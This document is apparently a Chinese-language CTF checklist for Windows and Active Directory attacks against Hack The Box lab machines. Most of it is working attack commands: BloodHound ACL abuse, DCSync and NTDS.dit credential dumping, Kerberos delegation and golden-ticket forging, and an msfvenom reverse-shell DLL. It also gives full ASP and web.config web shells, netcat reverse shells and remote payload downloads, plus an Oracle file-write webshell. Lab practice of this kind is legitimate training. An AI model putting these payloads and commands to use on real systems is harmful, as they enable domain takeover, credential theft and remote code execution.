• 【日常记录】CTF审查清单(windows)


    Linux篇

    欢迎大佬补充
    恳求大佬补充
    感谢大佬补充


    巴啦啦能量


    Bloodhound 专题

    Bloodhound使用

    1. 上传ps1脚本或者exe()如果是exe直接执行第三步的exe步骤,或者远程
    	wget http://10.10.14.13/SharpHound.ps1 -o SharpHound.ps1
    	远程加载:
    	bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.129.13.243
    
    2. exe执行(如果上传的是exe)
    ./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
    或者简单一点
    .\sharphound.exe -c all
    
    3. 加载模块
    Import-Module .\SharpHound.ps1
    
    4. 运行,生成一个zip
    invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
    
    5. 下载下来(或者用分享回传方法)
    download
    
    6. neo4j console
    7. bloodhound
    8. 把压缩包拖进去即可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    bloodhount攻击

    GetChanges

    进行DCSync攻击

    secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
    或者
    .\mimikatz 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator' exit
    
    • 1
    • 2
    • 3
    ForceChangePassword
    利用rpc修改密码(无shell只有已控凭据)
    rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.129.13.243 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'
    检验一下
    crackmapexec smb 10.10.10.192 -u audit2020 -p '0xdf!!!'
    
    • 1
    • 2
    • 3
    WriteOwner
    certutil -urlcache -split -f http://10.10.14.30/PowerView.ps1  
    Import-Module .\PowerView.ps1 
    接下来,我将 tom 设置为 claire 的 ACL 的所有者: 
    Set-DomainObjectOwner -identity claire -OwnerIdentity tom 
    接下来,我将授予 tom 更改该 ACL 上的密码的权限: 
    Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword 
    现在,我将创建一个凭证,然后设置克莱尔的密码: 
    $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force   
    并启用密码
    Set-DomainUserPassword -identity claire -accountpassword $SecPassword
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    WriteDacl

    可以添加当前用户到目标组
    net group backup_admins claire /add

    ReadGMSAPassword
    https://github.com/micahvandeusen/gMSADumper
    
    python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
    将会得到一个hash
    
    • 1
    • 2
    • 3
    • 4
    AllowedToDelegate

    组托管用户,可以伪造凭据,需要spn值,可以通过blood中的Allowed To Delegate获取

    getST.py -dc-ip 10.129.95.154 -spn www/dc.intelligence.htb -hashes :80c1d736d9988b5763b9aa74362db287 -impersonate administrator intelligence.htb/svc_int
    
    -impersonate administrator是我想要获取票据的用户
    
    如果出现时钟偏差
    sudo ntpdate 10.129.163.131
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    而后利用刚才生成的票据登陆

    export KRB5CCNAME=administrator.ccache
    echo "10.129.163.131 dc.intelligence.htb" >> /etc/hosts
    klist
    KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass administrator@dc.intelligence.htb
    
    • 1
    • 2
    • 3
    • 4
    GenericAll

    采取基于 Kerberos 资源的约束委派攻击

    1. 上传文件
    upload /home/user/Tools/Powermad/Powermad.ps1 pm.ps1
    upload /home/user/Tools/Ghostpack-CompiledBinaries/Rubeus.exe r.exe
    Import-Module ./pm.ps1
    
    2.设置参数
    Set-Variable -Name "FakePC" -Value "FAKE01"
    Set-Variable -Name "targetComputer" -Value "DC"
    
    3.添加一个新用户
    New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
    
    4.给权限
    Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')
    
    5.检查是否工作
    Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount
    
    6. 生成hash,aes256
    ./r.exe hash /password:123456 /user:FAKE01$ /domain:support.htb
    
    7. 以下kali执行-本机获取TGT票据
    getST.py support.htb/FAKE01 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 35CE465C01BC1577DE3410452165E5244779C17B64E6D89459C1EC3C8DAA362B
    
    8.添加票据
    export KRB5CCNAME=administrator.ccache
    
    9.smbexec.py support.htb/administrator@dc.support.htb -no-pass -k
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    ForceChangePassword

    直接改掉下一家用户的密码

    1. 上传模块
    upload PowerView.ps1
    2. 加载
    . .\PowerView.ps1
    3. 操作
    $newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force
    
    Set-DomainUserPassword -Identity smith -AccountPassword $newpass
    4. 登陆
    evil-winrm -i 10.129.15.97 -u smith -p '0xdf0xdf!'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    GenericWrite
    第一种方法(更新登陆脚本)

    能够以下一用户权限执行命令
    类似如此,自行修改,下一用户是maria

    1. 导入模块
    Import-Module .\PowerView.ps1
    2. 本地监听验证
    sudo tcpdump -ni tun0 icmp
    3. 写入
    echo "ping 10.10.14.12" > ping.ps1
    4. 执行
    Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}
    接下来如果要执行命令只需要写入同一ps1即可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    WriteOwner

    可以更改组用户,也就是将当前用户添加到有可能是admin组

    upload PowerView.ps1
    Import-Module .\PowerView.ps1
    
    1。 设置为组所有者
    Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
    
    2. 给自己授予全部权限
    Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
    
    3. 把自己添加到Domain Admins
    Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
    
    退出重新进入
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    组以及权限

    组问题

    1. Account Operators

    可以创建一个用户到除了管理员组之外的任何组
    创建方法:

    PS C:\> net user bigb0ss bigb0ss /add /domain
    PS C:\> net group "Exchange Trusted Subsystem" bigb0ss /add /domain
    
    • 1
    • 2
    2. Domain Admins

    (DCSync)DCSync:可以让普通用户也能枚举到admin组的hash

    3. Enterprise Admins

    组内的用户(DCSync)与1搭配,创建一个属于这个组的用户

    有时候需要借助于ntml中继

    借助以下方法实现ntml中继(来实现DCSync攻击)
    ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user bigb0ss     ---创建中继,当访问smb,http等方式访问时会自动检验能否修改acl,如果能,那就自动修改了
    访问方法如下
    psexec.py htb.local/bigb0ss:bigb0ss@10.10.14.39    smb登陆,或者直接访问127也行
    然后就可以枚举了
    secretsdump.py htb.local/bigb0ss:bigb0ss@10.10.10.161 -just-dc-user administrator
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    4. Backup Operators

    可以搞vss,忘记是啥了可以直接页面搜索

    5. dns admin

    就是通过恶意dll挟持dns

    1. 开启一个共享
    smbserver.py s .
    2. 生成payload
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=8888 -f dll -o rev.dll
    3. 加载payload
    dnscmd.exe /config /serverlevelplugindll \\10.10.14.8\s\rev.dll
    4. 重启dns服务
    sc.exe \\resolute stop dns
    sc.exe \\resolute start dns
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    6. shared support account

    采取基于 Kerberos 资源的约束委派攻击
    详细攻击步骤就在文章中,搜索即可

    7. LAPS_Readers

    我们可以查看管理员用户的密码

    Get-ADComputer DC01 -property 'ms-mcs-admpwd'
    
    • 1

    权限问题

    SeLoadDrivverPrivilege

    允许用户加载内核驱动程序并以内核权限执行代码

    1. 下载:(或者在我本机poc里SeLoadDrivverPrivilege这个文件夹)
    ExploitCapcom.exe:
    https://link.zhihu.com/?target=https%3A//github.com/clubby789/ExploitCapcom/releases/download/1.0/ExploitCapcom.exe
    
    Capcom.sys:
    https://github.com/FuzzySecurity/Capcom-Rootkit
    
    2. 执行
    .\ExploitCapcom.exe LOAD C:\Users\svc-print\Documents\Capcom.sys .\ExploitCapcom.exe EXPLOIT whoami
    
    3. 验证
    .\ExploitCapcom.exe EXPLOIT whoami
    5. 反弹shell
    .\ExploitCapcom.exe EXPLOIT "C:\Users\svc-print\Documents\nc.exe 10.10.14.13 4444 -e cmd.exe"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege(或全有)
    https://github.com/dievus/printspoofer
    printspoofer.exe -i -c cmd
    
    • 1
    • 2
    SeImpersonatePrivilege

    也可以用流氓土豆ng
    下载地址

    https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1
    
    • 1
    1. 整个反弹ps1
    https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1
    去掉多余的东西,修改IP:port
    2. 变更格式,使得脚本可以按照ps bat执行
    cat rev.ps1 |iconv -t UTF-16LE | base64 -w 0
    3. 创建bat脚本
    powershell -enc [第二步的base64]
    4. 执行
    ./jp.exe -t * -p C:\Temp\t.bat
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    SeBackupPrivilege
    net user svc_backup  //查看组确定在Backup Operators
    1. 下载模块
    upload /root/Desktop/SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
    以及
    upload /root/Desktop/SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
    
    2. 加载模块
    import-module .\SeBackupPrivilegeCmdLets.dll
    import-module .\SeBackupPrivilegeUtils.dll
    
    3. 利用(主要copy看不了的一个可以看的备份过来)
    Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
    把ntds.dit copy到这希望能打开
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    一般是打不开的,所以引入别的手段,按照下面复现即可

    最好执行
    unix2dos vss.dsh
    来更好的为windows执行
    
    • 1
    • 2
    • 3
    1. 写好脚本
    -----------------vss.dsh--------------------
    set context persistent nowriters
    set metadata c:\programdata\df.cab 
    //这里的目录需要可读写
    set verbose on
    add volume c: alias df
    create
    expose %df% z:
    ---------------------------------------------
    2. 传上去执行好
    upload vss.dsh c:\programdata\vss.dsh
    diskshadow /s c:\programdata\vss.dsh
    
    确保所在目录可读可写
    3. 建立smb共享,或者你先搞到本地然后传回去也行
    4. 传递
    Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.14.14\s\ntds.dit
    或者直接copy
    5. 拿system
    reg.exe save hklm\system \\10.10.14.14\system
    6. 破解
    secretsdump.py -system system -ntds ntds.dit LOCAL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    SeMachineAccountPrivilege

    无价值

    SeChangeNotifyPrivilege

    无价值

    SeIncreaseWorkingSetPrivilege

    无价值

    特殊的文件

    powershell历史文件

    在这下面会有,看看有没有信息泄漏

    C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
    
    • 1

    lsass.zip

    unzip lsass.zip 
    pypykatz lsa minidump lsass.DMP
    将获得hash内存转储
    或者拿去winodws
    利用mimikatz
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ntds.dit

    本地管理员组的成员身份或同等身份是运行 Diskshadow 所需的最低要求。 以及Backup Operators 也可以

    域控上存放所有用户的hash库
    一般来说直接拿不到,需要公开卷影复制服务 (VSS)
    详细步骤如下
    所需这个脚本vss.dsh
    如果是在kali编辑的可以

    最好执行
    unix2dos vss.dsh
    来更好的为windows执行
    
    • 1
    • 2
    • 3
    -----------------vss.dsh--------------------
    set context persistent nowriters
    set metadata c:\programdata\df.cab
    set verbose on
    add volume c: alias df
    create
    expose %df% z:
    ---------------------------------------------
    
    upload vss.dsh c:\programdata\vss.dsh
    diskshadow /s c:\programdata\vss.dsh
    
    确保所在目录可读可写
    3. 建立smb共享,或者你先搞到本地然后传回去也行
    4. 传递
    Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.14.14\s\ntds.dit
    或者直接copy
    5. 拿system
    reg.exe save hklm\system \\10.10.14.14\system
    6. 破解
    secretsdump.py -system system -ntds ntds.dit LOCAL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    开启的服务方面

    IIS专题

    IIS httpd 7.5

    扫到了上传点
    然后借助wen.config的自动aspx解析来解决
    直接上传web.config而后在upload类目录访问即可

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
       <system.webServer>
          <handlers accessPolicy="Read, Script, Write">
             <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
          </handlers>
          <security>
             <requestFiltering>
                <fileExtensions>
                   <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                   <remove segment="web.config" />
                </hiddenSegments>
             </requestFiltering>
          </security>
       </system.webServer>
    </configuration>
    <!--
    <%
    Response.Write("-"&"->")
    
    Function GetCommandOutput(command)
        Set shell = CreateObject("WScript.Shell")
        Set exec = shell.Exec(command)
        GetCommandOutput = exec.StdOut.ReadAll
    End Function
    
    Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
    Response.Write("&"-")
    %>
    -->
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    asp web shell
    <!--
    ASP Webshell
    Working on latest IIS 
    Referance :- 
    https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
    http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
    http://www.w3schools.com/asp/
    -->
    
    
    <%
    Set oScript = Server.CreateObject("WSCRIPT.SHELL")
    Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
    Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
    Function getCommandOutput(theCommand)
        Dim objShell, objCmdExec
        Set objShell = CreateObject("WScript.Shell")
        Set objCmdExec = objshell.exec(thecommand)
        getCommandOutput = objCmdExec.StdOut.ReadAll
    end Function
    %>
    
    
    <HTML>
    <BODY>
    <FORM action="" method="GET">
    <input type="text" name="cmd" size=45 value="<%= szCMD %>">
    <input type="submit" value="Run">
    </FORM>
    <PRE>
    <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    <%Response.Write(Request.ServerVariables("server_name"))%>
    <p>
    <b>The server's port:</b>
    <%Response.Write(Request.ServerVariables("server_port"))%>
    </p>
    <p>
    <b>The server's software:</b>
    <%Response.Write(Request.ServerVariables("server_software"))%>
    </p>
    <p>
    <b>The server's software:</b>
    <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
    <% szCMD = request("cmd")
    thisDir = getCommandOutput("cmd /c" & szCMD)
    Response.Write(thisDir)%>
    </p>
    
    </BODY>
    </HTML>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    tomcat专题

    1. /manager
    2. hydra -C ./Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.8.70:8080/manager/html 
    爆破需要注意后面还有html
    3. 后台可以搞rar的反弹shell
    4. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=8888 -f war > shell.war 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    azure devops

    值得注意的点是管道,或者是分支任务合并以及主分支直接修改
    这其中可能会有一些服务目录暴露出来,要记得

    设置—>安全性—>看看各个组里哪个包含现在掌握用户

    1. 管道
      azure repos git ->partsultimitly->初学者管道->yaml中去掉pool->修改script
    2. 分支任务合并
      创建新分支(链接项)—>拉取—>批准—>访问

    james

    首先可以执行命令,如果没有新任务上线的按钮,可以控制面板设置计划任务,来实现rce

    主要就是关于James中的config.xml,可以获取密码
    需要如下

    config.xml
    master.key
    hudson.util.Secret
    
    • 1
    • 2
    • 3
    1. 得到所需文件
    master.key应该是256位
    hudson.util.Secret是一个可执行文件,可以直接传,也可以base64编码后再传,如何编码如下:
    powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte)) 
    2. 工具下载
    https://github.com/hoto/jenkins-credentials-decryptor/releases/tag/1.2.0
    3. 操作得到密码
     ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    端口方面

    53 dns

    有时候能起到发掘子域名的作用,就没其他什么大用处了

    dig axfr @10.10.10.175 sauna.htb
    dig axfr @10.10.10.175 egotistical-bank.local
    
    dns爆破
    dnsenum --dnsserver 10.129.95.154 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -o scans/dnsenum-bitquark-intelligence.htb intelligence.htb
    
    • 1
    • 2
    • 3
    • 4
    • 5

    88 kerbrute

    1. 爆破用户
    /root/Desktop/tools/windows/kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.175
    
    • 1
    1. 检查AS-REP Roasting
      可能会出hasn
    GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.175
    
    • 1
    1. 爆破
     hashcat -m 18200 hashes.aspreroast /usr/share/wordlists/rockyou.txt --force
    
    • 1

    前提是拿到最起码一个域内用户

    ./GetUserSPNs.py -dc-ip 10.129.8.86 active.htb/SVC_TGS。  --先用这个枚举用户
    ./GetUserSPNs.py -dc-ip 10.129.8.86 active.htb/SVC_TGS -request     --在用这个获取票据
    john admin.txt --wordlist=/usr/share/wordlists/rockyou.txt    ---爆破
    ./psexec.py administrator@10.129.8.86--登陆
    
    • 1
    • 2
    • 3
    • 4

    443 https

    https证书可以获取域名信息

    445 rpc

    rpcclient -U "" -N 10.129.96.155
    enumdomusers
    用户枚举出来是有uid的
    queryuser 0x1f4 查看rid=0x1f4用户详细信息
    querydispinfo  列出所有用户的基本信息,有可能发现暴露的密码
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    389 ldap

    前2后三步走,每一步都正常才可,最终可以枚举用户和域内信息

    也可以nmap扫描一下漏洞,一般没有
    nmap --script=ldap* 10.129.95.180
    看子域
    ldapsearch -h 10.10.10.192 -x -s base namingcontexts
    带凭据的信息查询
    ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > 1.txt
    拥有一个凭据进一步枚举域用户信息
    ldapdomaindump -u 'support\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' dc.support.htb
    
    三步走如下:
    ldapsearch -H ldap://10.10.10.161 -x -s base '' "(objectClass=*)" "*" +     可以枚举出一些域信息,构成第二部的dc参数
    ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local 
    ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" |   grep "sAMAccountName:" 
    最后一步枚举用户
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    445 smb

    登陆

    smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'
    
    • 1

    两步走

    crackmapexec smb 10.10.10.192 也可以先用这个跑一下
    
    smbmap -H 10.10.10.175
    smbclient -N -L //10.10.10.175
    
    • 1
    • 2
    • 3
    • 4

    9255achat

    有可能存在36025或其他
    36025可以直接利用exp,只需要修改msf(修改详情在msf栏)

    1521(Oracle)

    用odat工具
    1. 枚举id
    odat sidguesser -s 10.129.7.193
    2. 查看是否可打
    odat tnspoison -s 10.10.10.82 -d XE --test-module
    xe是刚才枚举出的id
    3. 爆破密码
    odat passwordguesser -d XE -s 10.129.7.193 -p 1521 --accounts-file  /usr/share/odat/accounts/accounts.txt
    4. 登陆枚举
    用native或者sqlplus
    sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
    5. webshell/payload
    --------------------------------------
    sed -z 's/\n//g' cmdasp.aspx
    必要时用上面的命令使其变成一行
    
    declare
        f utl_file.file_type;
        s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %>
    Command:
    '
    ; begin f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W'); utl_file.put_line(f,s); utl_file.fclose(f); end; / ------------------------------------------ 6. 然后url直接访问10.10.10.82/peng.aspx即可获取webshell,后续借助nishang(win)就可以反弹shell
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    3306 数据库

    mysql -h 10.10.10.239
    检验是否可以连接

    3690 svn

    svn checkout svn://10.10.10.203

    5985 winrm

    ruby evil-winrm.rb -i 10.129.9.147 -u svc-alfresco -p s3rvice
    利用这个shell下载东西(到kali)可以直接用download
    也可以wget
    
    下载kali的东西:
    upload /root/Desktop/poc/SeLoadDrivverPrivilege/Capcom.sys .
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    29819/29820

    可以进行iot攻击
    提供远程未经身份验证的执行作为 SYSTEM

    下载地址:

    https://github.com/SafeBreach-Labs/SirepRAT
    
    • 1

    dir目录,也顺便知道哪个可以dir,一会可以放nc反弹

    python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c dir c:\windows\system32\spool\drivers\color /b'
    
    • 1
    1. 下载nc
    python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe' 
    
    • 1
    1. 反弹shell
    python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.24 443'
    
    • 1

    技巧方法

    添加进某个组(如果你有权限)

    这是在借凭据的情况下,也可以把命令提取出来单独利用

    Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\0xdf.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
    
    • 1

    高效nmap

    nmap -p- --min-rate 10000 -A  10.10.11.145
    nmap -p 443 -sCV 10.10.11.145
    
    • 1
    • 2

    有用户账号密码但是无法登陆(借凭证法)

    命令在{}中,密码用户名自己修改

    $SecPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
    
    $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
    
    Invoke-Command -Computer dc1 -Credential $Cred -Command { cmd /c C:\Temp\nc.exe -e powershell 10.10.14.12 8888 }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    有用户账号密码但是无法登陆(黄金凭证法)

    尝试黄金票据

    1. 获取sid值
    impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug
    2. 生成ntml hash
    https://codebeautify.org/ntlm-hash-generator
    3. 生成票据(记得把sid后面的用户标示去掉)
    impacket-ticketer -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200
    4. 使用票据登陆
    export KRB5CCNAME=Administrator.ccache
    impacket-mssqlclient dc1.scrm.local -k -no-pass
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    pfx-enc-key-转储-crt证书登陆

    pfx文件:legacyy_dev_auth.pfx

    1. 爆破出密码
    /usr/share/john/pfx2john.py legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash
    2. 提取enc
    openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc
    3. 提取key
    openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key
    4. 转储得到crt
    openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
    5. 登陆
    evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    根据加密规则编写解密python

    实例如下

    1. 加密规则
    array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
    2. 加密密钥
    private static byte[] key = Encoding.ASCII.GetBytes("armando");
    3. 初始的密码
    "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    解密脚本

    import base64
    enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
    key = "armando".encode("UTF-8") 
    array = base64.b64decode(enc_password)
    array2 = ""
    for i in range(len(array)):
        array2 += chr(array[i] ^ key[i % len(key)] ^ 223) 
    print(array2)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    exe分析

    可以选择ida,但是dnspy也是个好的选择
    而进去了以后,对于域机器,我们常常选择ldapquery进行查找
    我的在windows虚拟机
    如果用不了了

    https://github.com/dnSpy/dnSpy/releases/tag/v6.1.8
    
    • 1

    下载所有文件到本地

    其他的也一样

    SMB:> mask ""
    SMB:> recurse ON
    SMB:> prompt OFF
    SMB:> mget *
    
    • 1
    • 2
    • 3
    • 4

    时钟偏差Clock skew too great

    sudo ntpdate 10.10.10.248
    
    • 1

    dns注入挟持hash

    当已知系统存在一些脚本会进入ldap带着凭据去登陆的时候,我们就可以利用dns注入,利用dnstools.py

    https://github.com/dirkjanm/krbrelayx

    域是intelligence.htb

    python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record webrong --data 【自己ip】 10.129.95.154
    
    本地开启icmp监听
    sudo responder -I tun0
    
    • 1
    • 2
    • 3
    • 4

    有时间的文件

    输出所有类似于 YYYY-MM-DD-upload.pdf所有的文件,具体文件格式自行修改

    #!/usr/bin/env python3
    import datetime
    import requests
    t = datetime.datetime(2020, 1, 1)  
    end = datetime.datetime(2021, 7, 4) 
    while True:
        url = t.strftime("http://intelligence.htb/documents/%Y-%m-%d-upload.pdf")  
        resp = requests.get(url)
        if resp.status_code == 200:
            print(url)
        t = t + datetime.timedelta(days=1)
        if t >= end:
            break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    从所有文件中提取铭感信息并将user信息输出到user

    #!/usr/bin/env python3
    import datetime
    import io
    import PyPDF2
    import requests
    t = datetime.datetime(2020, 1, 1)
    end = datetime.datetime(2021, 7, 4)
    keywords = ['user', 'password', 'account', 'intelligence', 'htb', 'login', 'service', 'new']
    users = set()
    while True:
        url = t.strftime("http://intelligence.htb/documents/%Y-%m-%d-upload.pdf")
        resp = requests.get(url)
        if resp.status_code == 200:
            with io.BytesIO(resp.content) as data:
                pdf = PyPDF2.PdfFileReader(data)
                users.add(pdf.getDocumentInfo()['/Creator'])
                for page in range(pdf.getNumPages()):
                    text = pdf.getPage(page).extractText()
                    if any([k in text.lower() for k in keywords]):
                        print(f'==={url}===\n{text}')
        t = t + datetime.timedelta(days=1)
        if t >= end:
            break
    with open('users', 'w') as f:
        f.write('\n'.join(users)) 
    
    • 1
    • 2
    • 3
